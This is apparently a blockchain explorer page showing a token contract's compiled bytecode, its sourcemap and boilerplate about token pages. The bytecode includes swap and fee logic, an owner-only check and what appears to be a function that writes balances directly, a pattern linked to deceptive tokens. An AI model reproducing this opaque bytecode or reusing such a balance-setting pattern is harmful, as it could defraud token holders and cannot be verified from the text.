ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061158d565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610721565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611945565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9491906112bf565b81600181518110610da857610da7611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906115a8565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a548561103491906116f9565b61103e91906116c8565b9050808261104c9190611672565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110999190611672565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061158d565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f9190611672565b6111999190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611753565b604051611244919061158d565b60405180910390a35050505050565b600081359050611262816119b3565b92915050565b600081519050611277816119b3565b92915050565b60008135905061128c816119ca565b92915050565b6000602082840312156112a8576112a7611974565b5b60006112b684828501611253565b91505092915050565b6000602082840312156112d5576112d4611974565b5b60006112e384828501611268565b91505092915050565b6000806040838503121561130357611302611974565b5b600061131185828601611253565b925050602061132285828601611253565b9150509250929050565b60008060006060848603121561134557611344611974565b5b600061135386828701611253565b935050602061136486828701611253565b92505060406113758682870161127d565b9150509250925092565b6000806040838503121561139657611395611974565b5b60006113a485828601611253565b92505060206113b58582860161127d565b9150509250929050565b60006113cb83836113d7565b60208301905092915050565b6113e081611787565b82525050565b6113ef81611787565b82525050565b60006114008261162d565b61140a8185611650565b93506114158361161d565b8060005b8381101561144657815161142d88826113bf565b975061143883611643565b925050600181019050611419565b5085935050505092915050565b61145c81611799565b82525050565b61146b816117dc565b82525050565b61147a816117ee565b82525050565b600061148b82611638565b6114958185611661565b93506114a5818560208601611824565b6114ae81611979565b840191505092915050565b60006114c6600683611661565b91506114d18261198a565b602082019050919050565b6114e5816117c5565b82525050565b6114f4816117cf565b82525050565b600060208201905061150f60008301846113e6565b92915050565b600060208201905061152a6000830184611453565b92915050565b60006020820190506115456000830184611462565b92915050565b600060208201905081810360008301526115658184611480565b905092915050565b60006020820190508181036000830152611586816114b9565b9050919050565b60006020820190506115a260008301846114dc565b92915050565b600060a0820190506115bd60008301886114dc565b6115ca6020830187611471565b81810360408301526115dc81866113f5565b90506115eb60608301856113e6565b6115f860808301846114dc565b9695505050505050565b600060208201905061161760008301846114eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061167d826117c5565b9150611688836117c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116bd576116bc611889565b5b828201905092915050565b60006116d3826117c5565b91506116de836117c5565b9250826116ee576116ed6118b8565b5b828204905092915050565b6000611704826117c5565b915061170f836117c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174857611747611889565b5b828202905092915050565b600061175e826117c5565b9150611769836117c5565b92508282101561177c5761177b611889565b5b828203905092915050565b6000611792826117a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006117e782611800565b9050919050565b60006117f9826117c5565b9050919050565b600061180b82611812565b9050919050565b600061181d826117a5565b9050919050565b60005b83811015611842578082015181840152602081019050611827565b83811115611851576000848401525b50505050565b6000600282049050600182168061186f57607f821691505b60208210811415611883576118826118e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6119bc81611787565b81146119c757600080fd5b50565b6119d3816117c5565b81146119de57600080fd5b5056fea2646970667358221220dae440813d39d3344877a63cfdba31c0641eb4b6f74134965799180f409402d064736f6c63430008070033

Deployed Bytecode Sourcemap

1038:4105:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1396:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3275:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1540:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3405:267;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1448:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1478:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1729:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1575:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2662:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;739:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1421:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2762:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1699:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1365:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3081:188;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2957:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;925:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1396:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3275:124::-;3341:4;3348:37;3357:10;3369:7;3378:6;3348:8;:37::i;:::-;3393:4;3386:11;;3275:124;;;;:::o;1540:26::-;;;;:::o;3405:267::-;3494:4;3501:36;3511:6;3519:9;3530:6;3501:9;:36::i;:::-;1688:1;1679:11;3542;:19;3554:6;3542:19;;;;;;;;;;;;;;;:31;3562:10;3542:31;;;;;;;;;;;;;;;;:38;3538:121;;3651:6;3617:11;:19;3629:6;3617:19;;;;;;;;;;;;;;;:31;3637:10;3617:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3583:11;:19;3595:6;3583:19;;;;;;;;;;;;;;;:31;3603:10;3583:31;;;;;;;;;;;;;;;:74;;;;3538:121;3666:4;3659:11;;3405:267;;;;;:::o;1448:21::-;;;;;;;;;;;;;:::o;1478:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1729:27::-;;;;;;;;;;;;;:::o;1575:36::-;;;;;;;;;;;;;:::o;2662:94::-;2719:7;2736:9;:18;2746:7;2736:18;;;;;;;;;;;;;;;;2729:25;;2662:94;;;:::o;739:79::-;777:7;804:6;;;;;;;;;;;797:13;;739:79;:::o;1421:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2762:130::-;2831:4;2838:40;2848:10;2860:9;2871:6;2838:9;:40::i;:::-;2886:4;2879:11;;2762:130;;;;:::o;1699:23::-;;;;:::o;1365:22::-;;;;;;;;;;;;;:::o;3081:188::-;3134:21;3158:46;;;;;;;;3174:10;3158:46;;;;;;3191:2;3158:46;;;;3200:2;3158:46;;;;;3134:70;;3224:5;:9;;;3213:20;;:7;;;;;;;;;;;:20;;;3205:29;;;;;;3258:5;:9;;;3235;:20;3245:5;:9;;;3235:20;;;;;;;;;;;;;;;:32;;;;3133:136;3081:188;;:::o;2957:118::-;3029:7;3046:11;:18;3058:5;3046:18;;;;;;;;;;;;;;;:27;3065:7;3046:27;;;;;;;;;;;;;;;;3039:34;;2957:118;;;;:::o;925:106::-;876:10;866:20;;:6;;;;;;;;;;:20;;;858:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1015:8:::1;1006:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;925:106:::0;:::o;3678:151::-;3783:6;3753:11;:18;3765:5;3753:18;;;;;;;;;;;;;;;:27;3772:7;3753:27;;;;;;;;;;;;;;;:36;;;;3811:7;3795:32;;3804:5;3795:32;;;3820:6;3795:32;;;;;;:::i;:::-;;;;;;;;3678:151;;;:::o;3841:1264::-;3947:2;3931:18;;:12;;;;;;;;;;;:18;;;:29;;;;;3954:6;;;;;;;;;;;3953:7;3931:29;3927:624;;;3986:4;3977:6;;:13;;;;;;;;;;;;;;;;;;4005:12;4020:24;4038:4;4020:9;:24::i;:::-;4005:39;;4070:1;4063:4;:8;4059:452;;;4092:19;4114:6;4092:28;;4167:4;4153:11;:18;:39;;4181:11;4153:39;;;4174:4;4153:39;4139:53;;4211:21;4249:1;4235:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4211:40;;4288:4;4270;4275:1;4270:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4322:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4312:4;4317:1;4312:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;;;4366:14;;;;;;;;;;;:65;;;4432:11;4444:1;4446:4;4459:7;;;;;;;;;;;4468:15;4366:118;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4362:134;;;;;;4073:438;;4059:452;4534:5;4525:6;;:14;;;;;;;;;;;;;;;;;;3962:589;3927:624;4571:12;4587:17;:23;4605:4;4587:23;;;;;;;;;;;;;;;;;;;;;;;;;4586:24;:50;;;;;4615:17;:21;4633:2;4615:21;;;;;;;;;;;;;;;;;;;;;;;;;4614:22;4586:50;:61;;;;;4641:6;;;;;;;;;;;4640:7;4586:61;4571:76;;4696:6;4678:9;:15;4688:4;4678:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4660:9;:15;4670:4;4660:15;;;;;;;;;;;;;;;:42;;;;4713:17;4747:7;:19;;;;;4765:1;4758:4;;:8;4747:19;4743:238;;;4783:10;4812:3;4805:4;;4796:6;:13;;;;:::i;:::-;:19;;;;:::i;:::-;4783:32;;4843:2;4830:15;;;;;:::i;:::-;;;4914:2;4887:9;:24;4905:4;4887:24;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;4860:9;:24;4878:4;4860:24;;;;;;;;;;;;;;;:56;;;;4959:4;4936:33;;4945:4;4936:33;;;4966:2;4936:33;;;;;;:::i;:::-;;;;;;;;4768:213;4743:238;5034:9;5025:6;5009:9;:13;5019:2;5009:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:34;;;;:::i;:::-;4993:9;:13;5003:2;4993:13;;;;;;;;;;;;;;;:50;;;;5074:2;5059:38;;5068:4;5059:38;;;5087:9;5078:6;:18;;;;:::i;:::-;5059:38;;;;;;:::i;:::-;;;;;;;;3914:1191;;3841:1264;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;301:139;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:119;;;560:79;;:::i;:::-;522:119;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;446:329;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:119;;;906:79;;:::i;:::-;868:119;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;781:351;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;1234:32;1231:119;;;1269:79;;:::i;:::-;1231:119;1389:1;1414:53;1459:7;1450:6;1439:9;1435:22;1414:53;:::i;:::-;1404:63;;1360:117;1516:2;1542:53;1587:7;1578:6;1567:9;1563:22;1542:53;:::i;:::-;1532:63;;1487:118;1138:474;;;;;:::o;1618:619::-;1695:6;1703;1711;1760:2;1748:9;1739:7;1735:23;1731:32;1728:119;;;1766:79;;:::i;:::-;1728:119;1886:1;1911:53;1956:7;1947:6;1936:9;1932:22;1911:53;:::i;:::-;1901:63;;1857:117;2013:2;2039:53;2084:7;2075:6;2064:9;2060:22;2039:53;:::i;:::-;2029:63;;1984:118;2141:2;2167:53;2212:7;2203:6;2192:9;2188:22;2167:53;:::i;:::-;2157:63;;2112:118;1618:619;;;;;:::o;2243:474::-;2311:6;2319;2368:2;2356:9;2347:7;2343:23;2339:32;2336:119;;;2374:79;;:::i;:::-;2336:119;2494:1;2519:53;2564:7;2555:6;2544:9;2540:22;2519:53;:::i;:::-;2509:63;;2465:117;2621:2;2647:53;2692:7;2683:6;2672:9;2668:22;2647:53;:::i;:::-;2637:63;;2592:118;2243:474;;;;;:::o;2723:179::-;2792:10;2813:46;2855:3;2847:6;2813:46;:::i;:::-;2891:4;2886:3;2882:14;2868:28;;2723:179;;;;:::o;2908:108::-;2985:24;3003:5;2985:24;:::i;:::-;2980:3;2973:37;2908:108;;:::o;3022:118::-;3109:24;3127:5;3109:24;:::i;:::-;3104:3;3097:37;3022:118;;:::o;3176:732::-;3295:3;3324:54;3372:5;3324:54;:::i;:::-;3394:86;3473:6;3468:3;3394:86;:::i;:::-;3387:93;;3504:56;3554:5;3504:56;:::i;:::-;3583:7;3614:1;3599:284;3624:6;3621:1;3618:13;3599:284;;;3700:6;3694:13;3727:63;3786:3;3771:13;3727:63;:::i;:::-;3720:70;;3813:60;3866:6;3813:60;:::i;:::-;3803:70;;3659:224;3646:1;3643;3639:9;3634:14;;3599:284;;;3603:14;3899:3;3892:10;;3300:608;;;3176:732;;;;:::o;3914:109::-;3995:21;4010:5;3995:21;:::i;:::-;3990:3;3983:34;3914:109;;:::o;4029:173::-;4137:58;4189:5;4137:58;:::i;:::-;4132:3;4125:71;4029:173;;:::o;4208:147::-;4303:45;4342:5;4303:45;:::i;:::-;4298:3;4291:58;4208:147;;:::o;4361:364::-;4449:3;4477:39;4510:5;4477:39;:::i;:::-;4532:71;4596:6;4591:3;4532:71;:::i;:::-;4525:78;;4612:52;4657:6;4652:3;4645:4;4638:5;4634:16;4612:52;:::i;:::-;4689:29;4711:6;4689:29;:::i;:::-;4684:3;4680:39;4673:46;;4453:272;4361:364;;;;:::o;4731:365::-;4873:3;4894:66;4958:1;4953:3;4894:66;:::i;:::-;4887:73;;4969:93;5058:3;4969:93;:::i;:::-;5087:2;5082:3;5078:12;5071:19;;4731:365;;;:::o;5102:118::-;5189:24;5207:5;5189:24;:::i;:::-;5184:3;5177:37;5102:118;;:::o;5226:112::-;5309:22;5325:5;5309:22;:::i;:::-;5304:3;5297:35;5226:112;;:::o;5344:222::-;5437:4;5475:2;5464:9;5460:18;5452:26;;5488:71;5556:1;5545:9;5541:17;5532:6;5488:71;:::i;:::-;5344:222;;;;:::o;5572:210::-;5659:4;5697:2;5686:9;5682:18;5674:26;;5710:65;5772:1;5761:9;5757:17;5748:6;5710:65;:::i;:::-;5572:210;;;;:::o;5788:264::-;5902:4;5940:2;5929:9;5925:18;5917:26;;5953:92;6042:1;6031:9;6027:17;6018:6;5953:92;:::i;:::-;5788:264;;;;:::o;6058:313::-;6171:4;6209:2;6198:9;6194:18;6186:26;;6258:9;6252:4;6248:20;6244:1;6233:9;6229:17;6222:47;6286:78;6359:4;6350:6;6286:78;:::i;:::-;6278:86;;6058:313;;;;:::o;6377:419::-;6543:4;6581:2;6570:9;6566:18;6558:26;;6630:9;6624:4;6620:20;6616:1;6605:9;6601:17;6594:47;6658:131;6784:4;6658:131;:::i;:::-;6650:139;;6377:419;;;:::o;6802:222::-;6895:4;6933:2;6922:9;6918:18;6910:26;;6946:71;7014:1;7003:9;6999:17;6990:6;6946:71;:::i;:::-;6802:222;;;;:::o;7030:831::-;7293:4;7331:3;7320:9;7316:19;7308:27;;7345:71;7413:1;7402:9;7398:17;7389:6;7345:71;:::i;:::-;7426:80;7502:2;7491:9;7487:18;7478:6;7426:80;:::i;:::-;7553:9;7547:4;7543:20;7538:2;7527:9;7523:18;7516:48;7581:108;7684:4;7675:6;7581:108;:::i;:::-;7573:116;;7699:72;7767:2;7756:9;7752:18;7743:6;7699:72;:::i;:::-;7781:73;7849:3;7838:9;7834:19;7825:6;7781:73;:::i;:::-;7030:831;;;;;;;;:::o;7867:214::-;7956:4;7994:2;7983:9;7979:18;7971:26;;8007:67;8071:1;8060:9;8056:17;8047:6;8007:67;:::i;:::-;7867:214;;;;:::o;8168:132::-;8235:4;8258:3;8250:11;;8288:4;8283:3;8279:14;8271:22;;8168:132;;;:::o;8306:114::-;8373:6;8407:5;8401:12;8391:22;;8306:114;;;:::o;8426:99::-;8478:6;8512:5;8506:12;8496:22;;8426:99;;;:::o;8531:113::-;8601:4;8633;8628:3;8624:14;8616:22;;8531:113;;;:::o;8650:184::-;8749:11;8783:6;8778:3;8771:19;8823:4;8818:3;8814:14;8799:29;;8650:184;;;;:::o;8840:169::-;8924:11;8958:6;8953:3;8946:19;8998:4;8993:3;8989:14;8974:29;;8840:169;;;;:::o;9015:305::-;9055:3;9074:20;9092:1;9074:20;:::i;:::-;9069:25;;9108:20;9126:1;9108:20;:::i;:::-;9103:25;;9262:1;9194:66;9190:74;9187:1;9184:81;9181:107;;;9268:18;;:::i;:::-;9181:107;9312:1;9309;9305:9;9298:16;;9015:305;;;;:::o;9326:185::-;9366:1;9383:20;9401:1;9383:20;:::i;:::-;9378:25;;9417:20;9435:1;9417:20;:::i;:::-;9412:25;;9456:1;9446:35;;9461:18;;:::i;:::-;9446:35;9503:1;9500;9496:9;9491:14;;9326:185;;;;:::o;9517:348::-;9557:7;9580:20;9598:1;9580:20;:::i;:::-;9575:25;;9614:20;9632:1;9614:20;:::i;:::-;9609:25;;9802:1;9734:66;9730:74;9727:1;9724:81;9719:1;9712:9;9705:17;9701:105;9698:131;;;9809:18;;:::i;:::-;9698:131;9857:1;9854;9850:9;9839:20;;9517:348;;;;:::o;9871:191::-;9911:4;9931:20;9949:1;9931:20;:::i;:::-;9926:25;;9965:20;9983:1;9965:20;:::i;:::-;9960:25;;10004:1;10001;9998:8;9995:34;;;10009:18;;:::i;:::-;9995:34;10054:1;10051;10047:9;10039:17;;9871:191;;;;:::o;10068:96::-;10105:7;10134:24;10152:5;10134:24;:::i;:::-;10123:35;;10068:96;;;:::o;10170:90::-;10204:7;10247:5;10240:13;10233:21;10222:32;;10170:90;;;:::o;10266:126::-;10303:7;10343:42;10336:5;10332:54;10321:65;;10266:126;;;:::o;10398:77::-;10435:7;10464:5;10453:16;;10398:77;;;:::o;10481:86::-;10516:7;10556:4;10549:5;10545:16;10534:27;;10481:86;;;:::o;10573:147::-;10644:9;10677:37;10708:5;10677:37;:::i;:::-;10664:50;;10573:147;;;:::o;10726:121::-;10784:9;10817:24;10835:5;10817:24;:::i;:::-;10804:37;;10726:121;;;:::o;10853:126::-;10903:9;10936:37;10967:5;10936:37;:::i;:::-;10923:50;;10853:126;;;:::o;10985:113::-;11035:9;11068:24;11086:5;11068:24;:::i;:::-;11055:37;;10985:113;;;:::o;11104:307::-;11172:1;11182:113;11196:6;11193:1;11190:13;11182:113;;;11281:1;11276:3;11272:11;11266:18;11262:1;11257:3;11253:11;11246:39;11218:2;11215:1;11211:10;11206:15;;11182:113;;;11313:6;11310:1;11307:13;11304:101;;;11393:1;11384:6;11379:3;11375:16;11368:27;11304:101;11153:258;11104:307;;;:::o;11417:320::-;11461:6;11498:1;11492:4;11488:12;11478:22;;11545:1;11539:4;11535:12;11566:18;11556:81;;11622:4;11614:6;11610:17;11600:27;;11556:81;11684:2;11676:6;11673:14;11653:18;11650:38;11647:84;;;11703:18;;:::i;:::-;11647:84;11468:269;11417:320;;;:::o;11743:180::-;11791:77;11788:1;11781:88;11888:4;11885:1;11878:15;11912:4;11909:1;11902:15;11929:180;11977:77;11974:1;11967:88;12074:4;12071:1;12064:15;12098:4;12095:1;12088:15;12115:180;12163:77;12160:1;12153:88;12260:4;12257:1;12250:15;12284:4;12281:1;12274:15;12301:180;12349:77;12346:1;12339:88;12446:4;12443:1;12436:15;12470:4;12467:1;12460:15;12487:180;12535:77;12532:1;12525:88;12632:4;12629:1;12622:15;12656:4;12653:1;12646:15;12796:117;12905:1;12902;12895:12;12919:102;12960:6;13011:2;13007:7;13002:2;12995:5;12991:14;12987:28;12977:38;;12919:102;;;:::o;13027:156::-;13167:8;13163:1;13155:6;13151:14;13144:32;13027:156;:::o;13189:122::-;13262:24;13280:5;13262:24;:::i;:::-;13255:5;13252:35;13242:63;;13301:1;13298;13291:12;13242:63;13189:122;:::o;13317:::-;13390:24;13408:5;13390:24;:::i;:::-;13383:5;13380:35;13370:63;;13429:1;13426;13419:12;13370:63;13317:122;:::o

Swarm Source

ipfs://dae440813d39d3344877a63cfdba31c0641eb4b6f74134965799180f409402d0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.